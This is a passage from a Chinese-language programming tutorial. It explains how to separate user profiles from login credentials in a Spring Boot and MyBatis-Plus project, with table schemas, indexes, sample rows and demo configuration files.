function_">login</span><span class="params">(String loginType, String identifier, String credential)</span> &#123;</span><br><span class="line">    <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="string">&quot;username&quot;</span>.equals(loginType)) &#123;</span><br><span class="line">        user = userMapper.selectOne(<span class="keyword">new</span> <span class="title class_">LambdaQueryWrapper</span>&lt;User&gt;()</span><br><span class="line">            .eq(User::getUsername, identifier));</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="string">&quot;mobile&quot;</span>.equals(loginType)) &#123;</span><br><span class="line">        user = userMapper.selectOne(<span class="keyword">new</span> <span class="title class_">LambdaQueryWrapper</span>&lt;User&gt;()</span><br><span class="line">            .eq(User::getMobile, identifier));</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="string">&quot;wechat&quot;</span>.equals(loginType)) &#123;</span><br><span class="line">        user = userMapper.selectOne(<span class="keyword">new</span> <span class="title class_">LambdaQueryWrapper</span>&lt;User&gt;()</span><br><span class="line">            .eq(User::getWechatOpenid, identifier));</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="string">&quot;github&quot;</span>.equals(loginType)) &#123;</span><br><span class="line">        user = userMapper.selectOne(<span class="keyword">new</span> <span class="title class_">LambdaQueryWrapper</span>&lt;User&gt;()</span><br><span class="line">            .eq(User::getGithubId, identifier));</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;不支持的登录方式&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 验证密码...</span></span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>问题分析</strong>:</p><ul><li>❌ 违反开闭原则:新增登录方式需要修改代码</li><li>❌ 代码重复:每个分支都是类似的查询逻辑</li><li>❌ 难以维护:当登录方式增加到 10+ 种时,代码会变得非常臃肿</li></ul><hr><h3 id="单表设计的根本问题">单表设计的根本问题</h3><p><strong>问题的本质</strong>:将 “用户主体” 和 “登录凭证” 混在一起。</p><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/image-20251229123150728.png" alt="image-20251229123150728"></p><p><strong>正确的做法</strong>:将 “用户主体” 和 “登录凭证” 分离存储。</p><hr><h2 id="19-3-2-现代方案-账号-认证分离模型-1-N">19.3.2. 现代方案:账号-认证分离模型(1: N)</h2><p>业界成熟的解决方案是将 “用户主体” 与 “登录凭证” 分离存储,建立一对多关系。</p><blockquote><p>这里的“认证类型(identity_type)”在概念上对应 19.2 的 <code>AuthType</code> 枚举。为了和 19.2 的工厂/策略体系无缝衔接,我们会统一使用 <strong>枚举名风格的字符串</strong>(如 <code>PASSWORD/SMS/WECHAT/...</code>)作为数据库存储值,而不是 <code>password/sms/wechat</code> 这种 code 风格。这样 Jackson 多态(<code>authType&quot;:&quot;PASSWORD&quot;</code>)与数据库存储(<code>identity_type=&quot;PASSWORD&quot;</code>)可以一条链打通,不再出现“前端传 code,后端用 name”的割裂问题。[1][2]</p></blockquote><h3 id="核心设计理念">核心设计理念</h3><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/mermaid-diagram-2025-12-29-123347.png" alt="mermaid-diagram-2025-12-29-123347"></p><p><strong>设计理念</strong>:</p><ul><li><strong>用户主体(sys_user)</strong>:只存储用户的基本属性,不包含任何登录相关的信息</li><li><strong>登录凭证(sys_auth)</strong>:存储用户的所有登录方式,一个用户可以有多条记录</li><li><strong>一对多关系</strong>:通过 <code>user_id</code> 关联</li></ul><hr><h3 id="用户主体表-sys-user">用户主体表(sys_user)</h3><p>这个表只存储用户的基本属性,不包含任何登录相关的信息。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> sys_user (</span><br><span class="line">    id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> COMMENT <span class="string">&#x27;用户 ID(雪花算法生成)&#x27;</span>,</span><br><span class="line">    nickname <span class="type">VARCHAR</span>(<span class="number">50</span>) <span class="keyword">NOT NULL</span> COMMENT <span class="string">&#x27;用户昵称&#x27;</span>,</span><br><span class="line">    avatar <span class="type">VARCHAR</span>(<span class="number">255</span>) <span class="keyword">DEFAULT</span> <span class="string">&#x27;https://i.pravatar.cc/300&#x27;</span> COMMENT <span class="string">&#x27;头像 URL&#x27;</span>,</span><br><span class="line">    status TINYINT <span class="keyword">DEFAULT</span> <span class="number">1</span> COMMENT <span class="string">&#x27;状态:0-禁用 1-启用 2-未激活&#x27;</span>,</span><br><span class="line">    create_time DATETIME <span class="keyword">DEFAULT</span> <span class="built_in">CURRENT_TIMESTAMP</span> COMMENT <span class="string">&#x27;创建时间&#x27;</span>,</span><br><span class="line">    update_time DATETIME <span class="keyword">DEFAULT</span> <span class="built_in">CURRENT_TIMESTAMP</span> <span class="keyword">ON</span> <span class="keyword">UPDATE</span> <span class="built_in">CURRENT_TIMESTAMP</span> COMMENT <span class="string">&#x27;更新时间&#x27;</span>,</span><br><span class="line"></span><br><span class="line">    KEY idx_create_time (create_time)</span><br><span class="line">) ENGINE<span class="operator">=</span>InnoDB <span class="keyword">DEFAULT</span> CHARSET<span class="operator">=</span>utf8mb4 COMMENT<span class="operator">=</span><span class="string">&#x27;用户主体表&#x27;</span>;</span><br></pre></td></tr></table></figure><p><strong>关键设计点</strong>:</p><p><strong>设计点一:ID 生成策略</strong></p><p>使用雪花算法(Snowflake)而非数据库自增 ID,确保分布式环境下的全局唯一性。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@TableId(type = IdType.ASSIGN_ID)</span>  <span class="comment">// MyBatis-Plus 自动使用雪花算法</span></span><br><span class="line"><span class="keyword">private</span> Long id;</span><br></pre></td></tr></table></figure><p><strong>为什么不用自增 ID?</strong></p><table><thead><tr><th style="text-align:left">对比维度</th><th style="text-align:left">自增 ID</th><th style="text-align:left">雪花算法</th></tr></thead><tbody><tr><td style="text-align:left"><strong>全局唯一性</strong></td><td style="text-align:left">❌ 只在单表内唯一</td><td style="text-align:left">✅ 全局唯一</td></tr><tr><td style="text-align:left"><strong>分布式支持</strong></td><td style="text-align:left">❌ 多数据库实例会冲突</td><td style="text-align:left">✅ 支持分布式</td></tr><tr><td style="text-align:left"><strong>性能</strong></td><td style="text-align:left">✅ 插入性能好</td><td style="text-align:left">⚠️ 需要额外计算</td></tr><tr><td style="text-align:left"><strong>安全性</strong></td><td style="text-align:left">❌ 可以推测用户数量</td><td style="text-align:left">✅ 无法推测</td></tr></tbody></table><p><strong>设计点二:极简字段</strong></p><p>只保留与业务强相关的字段:</p><ul><li><code>nickname</code>:用户昵称(必填)</li><li><code>avatar</code>:头像 URL(有默认值)</li><li><code>status</code>:账号状态(0-禁用 1-启用 2-未激活)</li></ul><p><strong>不包含的字段</strong>:</p><ul><li>❌ <code>username</code>:属于登录凭证,应该在 sys_auth 表</li><li>❌ <code>password</code>:属于登录凭证,应该在 sys_auth 表</li><li>❌ <code>mobile</code>:属于登录凭证,应该在 sys_auth 表</li><li>❌ <code>email</code>:属于登录凭证,应该在 sys_auth 表</li></ul><p><strong>设计点三:status 字段的三种状态</strong></p><table><thead><tr><th style="text-align:left">状态值</th><th style="text-align:left">含义</th><th style="text-align:left">说明</th></tr></thead><tbody><tr><td style="text-align:left">0</td><td style="text-align:left">禁用</td><td style="text-align:left">管理员手动禁用,无法登录</td></tr><tr><td style="text-align:left">1</td><td style="text-align:left">启用</td><td style="text-align:left">正常状态,可以登录</td></tr><tr><td style="text-align:left">2</td><td style="text-align:left">未激活</td><td style="text-align:left">注册后未激活邮箱,无法登录</td></tr></tbody></table><hr><h3 id="授权凭证表-sys-auth">授权凭证表(sys_auth)</h3><p>这个表存储用户的所有登录方式。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> sys_auth (</span><br><span class="line">    id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT COMMENT <span class="string">&#x27;主键 ID&#x27;</span>,</span><br><span class="line">    user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span> COMMENT <span class="string">&#x27;关联的用户 ID&#x27;</span>,</span><br><span class="line">    identity_type <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span> COMMENT <span class="string">&#x27;认证类型:PASSWORD/MOBILE/WECHAT/GITHUB&#x27;</span>,</span><br><span class="line">    identifier <span class="type">VARCHAR</span>(<span class="number">100</span>) <span class="keyword">NOT NULL</span> COMMENT <span class="string">&#x27;标识符(账号/手机号/OpenID)&#x27;</span>,</span><br><span class="line">    credential <span class="type">VARCHAR</span>(<span class="number">255</span>) COMMENT <span class="string">&#x27;凭证(密码哈希/Token,OAuth 登录可为空)&#x27;</span>,</span><br><span class="line">    verified TINYINT <span class="keyword">DEFAULT</span> <span class="number">0</span> COMMENT <span class="string">&#x27;是否已验证:0-未验证 1-已验证&#x27;</span>,</span><br><span class="line">    create_time DATETIME <span class="keyword">DEFAULT</span> <span class="built_in">CURRENT_TIMESTAMP</span> COMMENT <span class="string">&#x27;创建时间&#x27;</span>,</span><br><span class="line">    update_time DATETIME <span class="keyword">DEFAULT</span> <span class="built_in">CURRENT_TIMESTAMP</span> <span class="keyword">ON</span> <span class="keyword">UPDATE</span> <span class="built_in">CURRENT_TIMESTAMP</span> COMMENT <span class="string">&#x27;更新时间&#x27;</span>,</span><br><span class="line"></span><br><span class="line">    <span class="comment">-- 联合唯一索引:同一类型的标识符不能重复</span></span><br><span class="line">    <span class="keyword">UNIQUE</span> KEY uk_type_identifier (identity_type, identifier),</span><br><span class="line"></span><br><span class="line">    <span class="comment">-- 普通索引:方便根据 user_id 查询该用户的所有登录方式</span></span><br><span class="line">    KEY idx_user_id (user_id)</span><br><span class="line">) ENGINE<span class="operator">=</span>InnoDB <span class="keyword">DEFAULT</span> CHARSET<span class="operator">=</span>utf8mb4 COMMENT<span class="operator">=</span><span class="string">&#x27;用户认证凭证表&#x27;</span>;</span><br></pre></td></tr></table></figure><p><strong>关键设计点</strong>:</p><p><strong>设计点一:identity_type 字段</strong></p><p>这个字段标识登录方式的类型,对应 19.2 中定义的 <code>AuthType</code> 枚举。</p><table><thead><tr><th style="text-align:left">identity_type</th><th style="text-align:left">含义</th><th style="text-align:left">identifier 示例</th><th style="text-align:left">credential 示例</th></tr></thead><tbody><tr><td style="text-align:left">PASSWORD</td><td style="text-align:left">账号密码登录</td><td style="text-align:left">admin</td><td style="text-align:left">2a10… (BCrypt 哈希)</td></tr><tr><td style="text-align:left">MOBILE</td><td style="text-align:left">手机号登录</td><td style="text-align:left">13812345678</td><td style="text-align:left">NULL(验证码登录无需存储密码)</td></tr><tr><td style="text-align:left">EMAIL</td><td style="text-align:left">邮箱登录</td><td style="text-align:left"><a href="mailto:user@example.com">user@example.com</a></td><td style="text-align:left">NULL(本章用邮箱做激活与找回,不直接走邮箱密码登录)</td></tr><tr><td style="text-align:left">WECHAT</td><td style="text-align:left">微信登录</td><td style="text-align:left">oX4Gt5k…</td><td style="text-align:left">NULL(或存储微信 Token)</td></tr><tr><td style="text-align:left">GITHUB</td><td style="text-align:left">GitHub 登录</td><td style="text-align:left">12345678</td><td style="text-align:left">NULL(GitHub ID 本身就是标识符)</td></tr></tbody></table><blockquote><p>小提醒:你会发现这里的类型比 19.2 的 <code>AuthType</code> 多。这不是推翻 19.2,而是“业务真实落地”必然会扩展类型集合。最优雅的方式是:<strong>继续沿用 19.2 的 <code>AuthType</code> 枚举做集中管理,按需补充枚举值</strong>(保持 <code>name()</code> 用于协议与存储,<code>code</code> 用于前端展示或兼容)。[1][2]</p></blockquote><p><strong>设计点二:identifier 字段</strong></p><p>这个字段存储登录标识符,根据 <code>identity_type</code> 的不同,存储的内容也不同:</p><ul><li><code>PASSWORD</code>:存储用户名(如 <code>admin</code>)</li><li><code>MOBILE</code>:存储手机号(如 <code>13812345678</code>)</li><li><code>EMAIL</code>:存储邮箱(如 <code>user@example.com</code>)</li><li><code>WECHAT</code>:存储微信 OpenID(如 <code>oX4Gt5k...</code>)</li><li><code>GITHUB</code>:存储 GitHub ID(如 <code>12345678</code>)</li></ul><p><strong>设计点三:credential 字段</strong></p><p>这个字段存储登录凭证,根据 <code>identity_type</code> 的不同,存储的内容也不同:</p><ul><li><code>PASSWORD</code>:存储 BCrypt 加密后的密码哈希</li><li><code>MOBILE</code>:通常为 <code>NULL</code>(验证码登录无需存储密码)</li><li><code>EMAIL</code>:通常为 <code>NULL</code>(本章用于激活/找回流程,不作为“邮箱+密码”登录凭证)</li><li><code>WECHAT</code>:通常为 <code>NULL</code>(或存储微信 Access Token)</li><li><code>GITHUB</code>:通常为 <code>NULL</code>(GitHub ID 本身就是标识符)</li></ul><p><strong>设计点四:verified 字段</strong></p><p>这个字段标识该登录方式是否已验证:</p><ul><li><code>0</code>:未验证(如邮箱未激活、手机号未验证)</li><li><code>1</code>:已验证</li></ul><p><strong>为什么需要这个字段?</strong></p><p>假设用户注册时填写了邮箱,但还没有点击激活链接。此时:</p><ul><li><code>sys_user</code> 表中有一条记录(status = 2 未激活)</li><li><code>sys_auth</code> 表中有一条记录(identity_type = EMAIL, verified = 0)</li></ul><p>当用户点击激活链接后:</p><ul><li><code>sys_user</code> 表的 <code>status</code> 更新为 1(启用)</li><li><code>sys_auth</code> 表的 <code>verified</code> 更新为 1(已验证)</li></ul><hr><h3 id="数据示例-一个用户的多种登录方式">数据示例:一个用户的多种登录方式</h3><p>假设用户 “张三” 先用账号密码注册,后来又绑定了手机号、邮箱、微信和 GitHub。</p><p><strong>sys_user 表</strong>:</p><table><thead><tr><th style="text-align:left">id</th><th style="text-align:left">nickname</th><th style="text-align:left">avatar</th><th style="text-align:left">status</th><th style="text-align:left">create_time</th></tr></thead><tbody><tr><td style="text-align:left">1748392847362</td><td style="text-align:left">张三</td><td style="text-align:left"><a href="https://cdn">https://cdn</a>…/avatar.jpg</td><td style="text-align:left">1</td><td style="text-align:left">2025-01-10 10:00:00</td></tr></tbody></table><p><strong>sys_auth 表</strong>:</p><table><thead><tr><th style="text-align:left">id</th><th style="text-align:left">user_id</th><th style="text-align:left">identity_type</th><th style="text-align:left">identifier</th><th style="text-align:left">credential</th><th style="text-align:left">verified</th><th style="text-align:left">create_time</th></tr></thead><tbody><tr><td style="text-align:left">1</td><td style="text-align:left">1748392847362</td><td style="text-align:left">PASSWORD</td><td style="text-align:left">zhangsan</td><td style="text-align:left">2a​10rQ7R8k…</td><td style="text-align:left">1</td><td style="text-align:left">2025-01-10 10:00:00</td></tr><tr><td style="text-align:left">2</td><td style="text-align:left">1748392847362</td><td style="text-align:left">MOBILE</td><td style="text-align:left">13812345678</td><td style="text-align:left">NULL</td><td style="text-align:left">1</td><td style="text-align:left">2025-01-10 10:05:00</td></tr><tr><td style="text-align:left">3</td><td style="text-align:left">1748392847362</td><td style="text-align:left">EMAIL</td><td style="text-align:left"><a href="mailto:zhangsan@example.com">zhangsan@example.com</a></td><td style="text-align:left">NULL</td><td style="text-align:left">1</td><td style="text-align:left">2025-01-10 10:10:00</td></tr><tr><td style="text-align:left">4</td><td style="text-align:left">1748392847362</td><td style="text-align:left">WECHAT</td><td style="text-align:left">oX4Gt5k…</td><td style="text-align:left">NULL</td><td style="text-align:left">1</td><td style="text-align:left">2025-01-10 10:15:00</td></tr><tr><td style="text-align:left">5</td><td style="text-align:left">1748392847362</td><td style="text-align:left">GITHUB</td><td style="text-align:left">12345678</td><td style="text-align:left">NULL</td><td style="text-align:left">1</td><td style="text-align:left">2025-01-10 10:20:00</td></tr></tbody></table><p><strong>通过这种设计</strong>:</p><ul><li>✅ 新增登录方式只需在 <code>sys_auth</code> 表插入一条记录,无需修改表结构</li><li>✅ 每种登录方式都有明确的 <code>identity_type</code> 标记,查询时非常清晰</li><li>✅ 用户可以同时拥有多种登录方式,系统会自动关联到同一个 <code>user_id</code></li><li>✅ 没有 <code>NULL</code> 值浪费存储空间</li></ul><hr><h3 id="索引与性能优化策略">索引与性能优化策略</h3><p>数据模型设计完成后,索引设计直接决定了查询性能和数据一致性。</p><p><strong>索引一:联合唯一索引(核心)</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">UNIQUE</span> KEY uk_type_identifier (identity_type, identifier)</span><br></pre></td></tr></table></figure><p><strong>作用</strong>:保证 “同一种类型的标识符全局唯一”。</p><p><strong>示例</strong>:</p><ul><li>手机号 <code>13812345678</code> 只能被一个用户绑定(<code>identity_type=MOBILE, identifier=13812345678</code>)</li><li>微信 OpenID <code>oX4Gt5k...</code> 也只能被一个用户绑定(<code>identity_type=WECHAT, identifier=oX4Gt5k...</code>)</li></ul><p><strong>如果另一个用户尝试绑定已被占用的手机号</strong>,数据库会抛出唯一性冲突错误:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Duplicate entry &#x27;MOBILE-13812345678&#x27; for key &#x27;uk_type_identifier&#x27;</span><br></pre></td></tr></table></figure><p>业务代码需要捕获这个异常并返回友好提示:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    authMapper.insert(auth);</span><br><span class="line">&#125; <span class="keyword">catch</span> (DuplicateKeyException e) &#123;</span><br><span class="line">    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;该手机号已被其他账号绑定&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>索引二:普通索引</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">KEY idx_user_id (user_id)</span><br></pre></td></tr></table></figure><p><strong>作用</strong>:方便根据 <code>user_id</code> 查询该用户的所有登录方式。</p><p><strong>示例</strong>:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 查询用户的所有登录方式</span></span><br><span class="line">List&lt;Auth&gt; authList = authMapper.selectList(<span class="keyword">new</span> <span class="title class_">LambdaQueryWrapper</span>&lt;Auth&gt;()</span><br><span class="line">    .eq(Auth::getUserId, userId));</span><br></pre></td></tr></table></figure><hr><h3 id="本节小结">本节小结</h3><p>我们完成了领域模型的设计。</p><p><strong>核心成果</strong>:</p><table><thead><tr><th style="text-align:left">步骤</th><th style="text-align:left">操作</th><th style="text-align:left">产出</th></tr></thead><tbody><tr><td style="text-align:left">1</td><td style="text-align:left">分析传统单表设计的弊端</td><td style="text-align:left">理解字段爆炸、索引混乱、查询复杂三大陷阱</td></tr><tr><td style="text-align:left">2</td><td style="text-align:left">设计 sys_user 表</td><td style="text-align:left">用户主体表(极简字段)</td></tr><tr><td style="text-align:left">3</td><td style="text-align:left">设计 sys_auth 表</td><td style="text-align:left">登录凭证表(1: N 关系)</td></tr><tr><td style="text-align:left">4</td><td style="text-align:left">设计索引策略</td><td style="text-align:left">联合唯一索引 + 普通索引 + 覆盖索引</td></tr><tr><td style="text-align:left">5</td><td style="text-align:left">讨论分库分表策略</td><td style="text-align:left">千万级用户的扩展方案</td></tr></tbody></table><p><strong>表结构对比</strong>:</p><table><thead><tr><th style="text-align:left">对比维度</th><th style="text-align:left">单表设计</th><th style="text-align:left">账号-认证分离</th></tr></thead><tbody><tr><td style="text-align:left"><strong>表数量</strong></td><td style="text-align:left">1 张表</td><td style="text-align:left">2 张表</td></tr><tr><td style="text-align:left"><strong>字段数量</strong></td><td style="text-align:left">10+ 个字段</td><td style="text-align:left">sys_user: 5 个字段<br/>sys_auth: 7 个字段</td></tr><tr><td style="text-align:left"><strong>NULL 值</strong></td><td style="text-align:left">大量 NULL 值</td><td style="text-align:left">几乎没有 NULL 值</td></tr><tr><td style="text-align:left"><strong>新增登录方式</strong></td><td style="text-align:left">需要 ALTER TABLE</td><td style="text-align:left">只需 INSERT 一条记录</td></tr><tr><td style="text-align:left"><strong>索引数量</strong></td><td style="text-align:left">10+ 个唯一索引</td><td style="text-align:left">1 个联合唯一索引 + 1 个普通索引</td></tr><tr><td style="text-align:left"><strong>查询复杂度</strong></td><td style="text-align:left">需要 if-else 分支</td><td style="text-align:left">统一查询 sys_auth 表</td></tr><tr><td style="text-align:left"><strong>扩展性</strong></td><td style="text-align:left">❌ 难以扩展</td><td style="text-align:left">✅ 易于扩展</td></tr></tbody></table><p><strong>索引速查表</strong>:</p><table><thead><tr><th style="text-align:left">索引名称</th><th style="text-align:left">索引类型</th><th style="text-align:left">索引列</th><th style="text-align:left">作用</th></tr></thead><tbody><tr><td style="text-align:left">uk_type_identifier</td><td style="text-align:left">联合唯一索引</td><td style="text-align:left">(identity_type, identifier)</td><td style="text-align:left">保证同一类型的标识符全局唯一</td></tr><tr><td style="text-align:left">idx_user_id</td><td style="text-align:left">普通索引</td><td style="text-align:left">user_id</td><td style="text-align:left">根据用户 ID 查询所有登录方式</td></tr></tbody></table><p>现在,我们已经完成了数据建模。在下一节中,我们将实现 MyBatis-Plus 的实体类和 Mapper。</p><hr><h2 id="19-3-3-持久层实现-MyBatis-Plus-快速搭建">19.3.3. 持久层实现:MyBatis-Plus 快速搭建</h2><p>在上一节中,我们设计了 sys_user 和 sys_auth 两张表。现在我们需要使用 MyBatis-Plus 快速搭建持久层。</p><blockquote><p>本节会严格沿用 19.2 的单模块工程结构:<br><code>auth-factory-demo/src/main/java/com/example/auth/...</code><br>我们不会引入 <code>auth-parent/auth-core/auth-web</code> 这种多模块拆分,避免包名、启动类、配置文件路径和 19.2 出现断层。[1]</p></blockquote><h3 id="引入依赖">引入依赖</h3><p><strong>📄 文件路径</strong>:<code>pom.xml</code>(追加/整合)</p><p>打开你在 19.2 中已经创建好的 <code>pom.xml</code>。如果你已经引入了 <code>spring-boot-starter-web</code>、Sa-Token、Redis、Validation、Lombok 等依赖,不要重复添加——只需要把 MyBatis-Plus、MySQL 驱动补上即可。</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependencies</span>&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- ========================= --&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- 19.2 已有依赖(略):Web、Validation、Redis、Sa-Token、Lombok... --&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- ========================= --&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">&lt;!-- MyBatis-Plus --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.baomidou<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>mybatis-plus-spring-boot3-starter<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.5.7<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">&lt;!-- MySQL 驱动 --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.mysql<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>mysql-connector-j<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">scope</span>&gt;</span>runtime<span class="tag">&lt;/<span class="name">scope</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">&lt;!-- （可选）如果你想更直观地看 SQL 日志,可以先不引入连接池,Spring Boot 默认即可 --&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependencies</span>&gt;</span></span><br></pre></td></tr></table></figure><hr><h3 id="配置数据源">配置数据源</h3><p><strong>📄 文件路径</strong>:<code>src/main/resources/application.yml</code>(追加)</p><p>在 19.2 的 <code>application.yml</code> 基础上追加 MySQL 与 MyBatis-Plus 配置。注意:<strong>Sa-Token 仍然是主会话体系</strong>,所以这里不配置 JWT 相关内容,避免和 19.2 的“策略-工厂-SaToken”职责边界冲突。[1]</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br><span class="line"></span><br><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">application:</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">auth-factory-demo</span></span><br><span class="line"></span><br><span class="line">  <span class="attr">data:</span></span><br><span class="line">    <span class="attr">redis:</span></span><br><span class="line">      <span class="attr">host:</span> <span class="string">localhost</span></span><br><span class="line">      <span class="attr">port:</span> <span class="number">6379</span></span><br><span class="line">      <span class="attr">password:</span></span><br><span class="line">      <span class="attr">database:</span> <span class="number">0</span></span><br><span class="line">      <span class="attr">lettuce:</span></span><br><span class="line">        <span class="attr">pool:</span></span><br><span class="line">          <span class="attr">max-active:</span> <span class="number">8</span></span><br><span class="line">          <span class="attr">max-idle:</span> <span class="number">8</span></span><br><span class="line">          <span class="attr">min-idle:</span> <span class="number">0</span></span><br><span class="line">          <span class="attr">max-wait:</span> <span class="string">-1ms</span></span><br><span class="line"></span><br><span class="line">  <span class="attr">datasource:</span></span><br><span class="line">    <span class="attr">driver-class-name:</span> <span class="string">com.mysql.cj.jdbc.Driver</span></span><br><span class="line">    <span class="attr">url:</span> <span class="string">jdbc:mysql://localhost:3306/auth_db?useUnicode=true&amp;characterEncoding=utf8&amp;serverTimezone=Asia/Shanghai&amp;useSSL=false</span></span><br><span class="line">    <span class="attr">username:</span> <span class="string">root</span></span><br><span class="line">    <span class="attr">password:</span> <span class="string">root</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Sa-Token 配置(沿用 19.2)</span></span><br><span class="line"><span class="attr">sa-token:</span></span><br><span class="line">  <span class="attr">token-name:</span> <span class="string">Authorization</span></span><br><span class="line">  <span class="attr">timeout:</span> <span class="number">86400</span></span><br><span class="line">  <span class="attr">active-timeout:</span> <span class="number">1800</span></span><br><span class="line">  <span class="attr">is-concurrent:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">is-share:</span> <span class="literal">false</span></span><br><span class="line">  <span class="attr">token-style:</span> <span class="string">uuid</span></span><br><span class="line">  <span class="attr">is-log:</span> <span class="literal">true</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 认证配置(可选:用于控制启用哪些登录方式)</span></span><br><span class="line"><span class="attr">auth:</span></span><br><span 